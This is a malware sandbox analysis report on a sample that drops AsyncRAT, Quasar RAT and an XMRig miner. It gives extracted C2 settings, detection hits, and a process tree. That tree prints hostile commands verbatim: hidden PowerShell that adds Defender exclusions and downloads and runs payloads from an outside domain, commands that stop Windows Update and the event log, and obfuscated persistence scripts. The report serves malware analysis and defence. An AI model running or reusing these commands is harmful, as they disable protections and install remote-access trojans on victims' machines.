asyncrat | a655972465abe6c421e649aee9cfc22154c56e49806d9922384b9219dfd1175c

Analysis

max time kernel
36s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
02/05/2024, 01:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe
Size 36.9MB
Sample240502-bqqsmsfa87
SHA256 a655972465abe6c421e649aee9cfc22154c56e49806d9922384b9219dfd1175c
MD5 f7ebfd5e206742254f9a8d8f0cd1d992
SHA1 a9e4c77843ed428a3907117b4eef602f5496cbe9
SHA512 716e1df25721e2f3dfcc1e1db137fd82c3f8bb3f1f01bae0c506fa1fb0edf5e534166cf2c737f0318379f54172e5a5a90f911015d09a3a0b3916291b15fa2cdd
SSDEEP 786432:Je/PLPAeNZZLmkE0hL46/O6lrBxndaQMIJcWUKA6qoEbeBKbB1lKfh+vq5/N:JkL1Zhx/DxnoQMIJo6qjJcfsS51
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat quasar xmrig default mozillaupgrade evasion miner persistence rat spyware trojan upx

Malware Config

Extracted

Family

quasar

Version

1.4.0

Botnet

MozillaUpgrade

87.121.52.241:4000

Mutex

565c0b54-8fec-4eb0-a932-429f55a0cc82

Attributes

encryption_key
B000736BEBDF08FC1B6696200651882CF57E43E7
install_name
Mozilla.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Mozilla update
subdirectory
SubDir

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

87.121.52.241:2000

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
true
install_file
chromeUpdate.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023bac-96.dat	family_quasar
behavioral2/memory/552-98-0x0000000000C80000-0x0000000000D04000-memory.dmp	family_quasar

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000a000000023baf-108.dat	family_asyncrat

Detects Windows executables referencing non-Windows User-Agents 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023bac-96.dat	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral2/memory/552-98-0x0000000000C80000-0x0000000000D04000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects executables containing common artifacts observed in infostealers 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023bac-96.dat	INDICATOR_SUSPICIOUS_GENInfoStealer
behavioral2/memory/552-98-0x0000000000C80000-0x0000000000D04000-memory.dmp	INDICATOR_SUSPICIOUS_GENInfoStealer

Detects file containing reversed ASEP Autorun registry keys 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023baf-108.dat	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse
behavioral2/memory/4064-110-0x0000000000F90000-0x0000000000FA2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse

UPX dump on OEP (original entry point) 11 IoCs

resource	yara_rule
behavioral2/memory/3440-320-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-326-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-322-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-325-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-323-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-324-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-319-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-318-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-317-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-316-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3440-315-0x0000000140000000-0x0000000140848000-memory.dmp	UPX

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral2/memory/3440-320-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3440-326-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3440-322-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3440-325-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3440-323-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3440-324-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3440-319-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	1764	powershell.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	V3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	A.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe

Executes dropped EXE 8 IoCs

pid	Process
1084	HeroineConquest v1.12.exe
1460	V3.exe
4408	1.exe
1316	2.exe
552	Q.exe
372	Mozilla.exe
4064	A.exe
4900	chromeUpdate.exe

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3440-314-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-320-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-326-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-322-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-325-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-323-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-324-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-319-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-318-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-317-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-316-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3440-315-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Launches sc.exe 21 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1424	sc.exe
2476	sc.exe
3992	sc.exe
220	sc.exe
468	sc.exe
3852	sc.exe
1612	sc.exe
2900	sc.exe
2124	sc.exe
4188	sc.exe
3672	sc.exe
1916	sc.exe
1708	sc.exe
3100	sc.exe
4828	sc.exe
4032	sc.exe
3012	sc.exe
5096	sc.exe
2260	sc.exe
5000	sc.exe
4292	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4972	schtasks.exe
2936	schtasks.exe
4516	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3576	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
1764	powershell.exe
1764	powershell.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4064	A.exe
4408	1.exe
464	powershell.exe
464	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: 33	4312	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4312	AUDIODG.EXE
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	552	Q.exe
Token: SeDebugPrivilege	372	Mozilla.exe
Token: SeDebugPrivilege	4064	A.exe
Token: SeDebugPrivilege	4900	chromeUpdate.exe
Token: SeDebugPrivilege	4900	chromeUpdate.exe
Token: SeDebugPrivilege	464	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1084	HeroineConquest v1.12.exe
1084	HeroineConquest v1.12.exe
1316	2.exe
372	Mozilla.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 532	4376	2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe	87
PID 4376 wrote to memory of 532	4376	2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe	87
PID 4376 wrote to memory of 532	4376	2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe	87
PID 4376 wrote to memory of 1084	4376	2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe	90
PID 4376 wrote to memory of 1084	4376	2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe	90
PID 532 wrote to memory of 4364	532	cmd.exe	91
PID 532 wrote to memory of 4364	532	cmd.exe	91
PID 532 wrote to memory of 4364	532	cmd.exe	91
PID 4364 wrote to memory of 1240	4364	net.exe	92
PID 4364 wrote to memory of 1240	4364	net.exe	92
PID 4364 wrote to memory of 1240	4364	net.exe	92
PID 532 wrote to memory of 1764	532	cmd.exe	93
PID 532 wrote to memory of 1764	532	cmd.exe	93
PID 532 wrote to memory of 1764	532	cmd.exe	93
PID 1764 wrote to memory of 1460	1764	powershell.exe	102
PID 1764 wrote to memory of 1460	1764	powershell.exe	102
PID 1764 wrote to memory of 1460	1764	powershell.exe	102
PID 1460 wrote to memory of 4408	1460	V3.exe	103
PID 1460 wrote to memory of 4408	1460	V3.exe	103
PID 1460 wrote to memory of 1316	1460	V3.exe	104
PID 1460 wrote to memory of 1316	1460	V3.exe	104
PID 1764 wrote to memory of 552	1764	powershell.exe	105
PID 1764 wrote to memory of 552	1764	powershell.exe	105
PID 552 wrote to memory of 4972	552	Q.exe	106
PID 552 wrote to memory of 4972	552	Q.exe	106
PID 552 wrote to memory of 372	552	Q.exe	108
PID 552 wrote to memory of 372	552	Q.exe	108
PID 1764 wrote to memory of 4064	1764	powershell.exe	109
PID 1764 wrote to memory of 4064	1764	powershell.exe	109
PID 1764 wrote to memory of 4064	1764	powershell.exe	109
PID 372 wrote to memory of 2936	372	Mozilla.exe	110
PID 372 wrote to memory of 2936	372	Mozilla.exe	110
PID 4064 wrote to memory of 400	4064	A.exe	113
PID 4064 wrote to memory of 400	4064	A.exe	113
PID 4064 wrote to memory of 400	4064	A.exe	113
PID 4064 wrote to memory of 2968	4064	A.exe	115
PID 4064 wrote to memory of 2968	4064	A.exe	115
PID 4064 wrote to memory of 2968	4064	A.exe	115
PID 2968 wrote to memory of 3576	2968	cmd.exe	117
PID 2968 wrote to memory of 3576	2968	cmd.exe	117
PID 2968 wrote to memory of 3576	2968	cmd.exe	117
PID 400 wrote to memory of 4516	400	cmd.exe	118
PID 400 wrote to memory of 4516	400	cmd.exe	118
PID 400 wrote to memory of 4516	400	cmd.exe	118
PID 2968 wrote to memory of 4900	2968	cmd.exe	121
PID 2968 wrote to memory of 4900	2968	cmd.exe	121
PID 2968 wrote to memory of 4900	2968	cmd.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe
"C:\Users\Admin\AppData\Local\Temp\2024-05-02_f7ebfd5e206742254f9a8d8f0cd1d992_magniber.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\config.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\SysWOW64\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4364
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users;Add-MpPreference -ExclusionPath $env:ProgramFiles;cd C:\Users\Public;Invoke-WebRequest https://jeuxviddeo.com/V3 -OutFile V3.exe;./V3.exe;Invoke-WebRequest https://jeuxviddeo.com/ifl1rm8lvhdlsfmmdc -OutFile Q.exe;./Q.exe;Invoke-WebRequest https://jeuxviddeo.com/nuc4dofedqp6mruigq -OutFile A.exe;./A.exe;exit
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Users\Public\V3.exe
      "C:\Users\Public\V3.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1460
    - - C:\Users\Public\1.exe
        
        "C:\Users\Public\1.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4408
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:464
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:2912
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:4228
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:5000
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:4292
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:5096
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:2900
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:468
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        
        PID:2396
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        
        PID:2520
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        
        PID:1872
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        
        PID:2000
      - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        6⤵
        
        PID:456
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "WAGDKRVZ"
        6⤵
        Launches sc.exe
        
        PID:3852
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "WAGDKRVZ" binpath= "C:\ProgramData\mxergolzfguk\kaptsegthwf.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:1424
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:3992
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "WAGDKRVZ"
        6⤵
        Launches sc.exe
        
        PID:2476
    - - C:\Users\Public\2.exe
        
        "C:\Users\Public\2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1316
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        6⤵
        
        PID:512
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:556
        
        C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:2124
        
        C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:1612
        
        C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:4032
        
        C:\Windows\system32\sc.exe
        
        sc stop bits
        7⤵
        Launches sc.exe
        
        PID:3012
        
        C:\Windows\system32\sc.exe
        
        sc stop dosvc
        7⤵
        Launches sc.exe
        
        PID:4188
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        7⤵
        
        PID:4932
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        7⤵
        
        PID:5116
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        7⤵
        
        PID:3212
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        7⤵
        
        PID:1200
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        7⤵
        
        PID:228
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        6⤵
        
        PID:3748
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        7⤵
        
        PID:2720
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        7⤵
        
        PID:4584
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        7⤵
        
        PID:2556
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        7⤵
        
        PID:4156
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
        6⤵
        
        PID:3228
      - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        6⤵
        
        PID:1528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
        6⤵
        
        PID:3884
        
        C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn Barac
        7⤵
        
        PID:4204
  - - C:\Users\Public\Q.exe
      "C:\Users\Public\Q.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:552
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Mozilla update" /sc ONLOGON /tr "C:\Users\Public\Q.exe" /rl HIGHEST /f
        5⤵
        Creates scheduled task(s)
        
        PID:4972
    - - C:\Users\Admin\AppData\Roaming\SubDir\Mozilla.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Mozilla.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:372
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Mozilla update" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Mozilla.exe" /rl HIGHEST /f
        6⤵
        Creates scheduled task(s)
        
        PID:2936
  - - C:\Users\Public\A.exe
      "C:\Users\Public\A.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4064
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "chromeUpdate" /tr '"C:\Users\Admin\AppData\Roaming\chromeUpdate.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:400
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "chromeUpdate" /tr '"C:\Users\Admin\AppData\Roaming\chromeUpdate.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:4516
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAD18.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2968
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:3576
      - C:\Users\Admin\AppData\Roaming\chromeUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\chromeUpdate.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4900
- C:\Users\Public\HeroineConquest v1.12.exe
  "C:\Users\Public\HeroineConquest v1.12.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1084

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2ec 0x2fc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4312

C:\ProgramData\mxergolzfguk\kaptsegthwf.exe
C:\ProgramData\mxergolzfguk\kaptsegthwf.exe
1⤵
PID:4424
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:4292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:1108
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4668
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3672
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1916
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1708
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2260
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3100
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:3052
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:1516
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:4652
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:4772
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1312
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4348
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:3440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:2432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:4976

C:\Program Files\Cuis\bon\Bara.exe
"C:\Program Files\Cuis\bon\Bara.exe"
1⤵
PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:1708
- C:\Windows\system32\cmd.exe
  cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4616
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4828
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:220
- C:\Windows\system32\cmd.exe
  cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:232
- - C:\Windows\system32\powercfg.exe
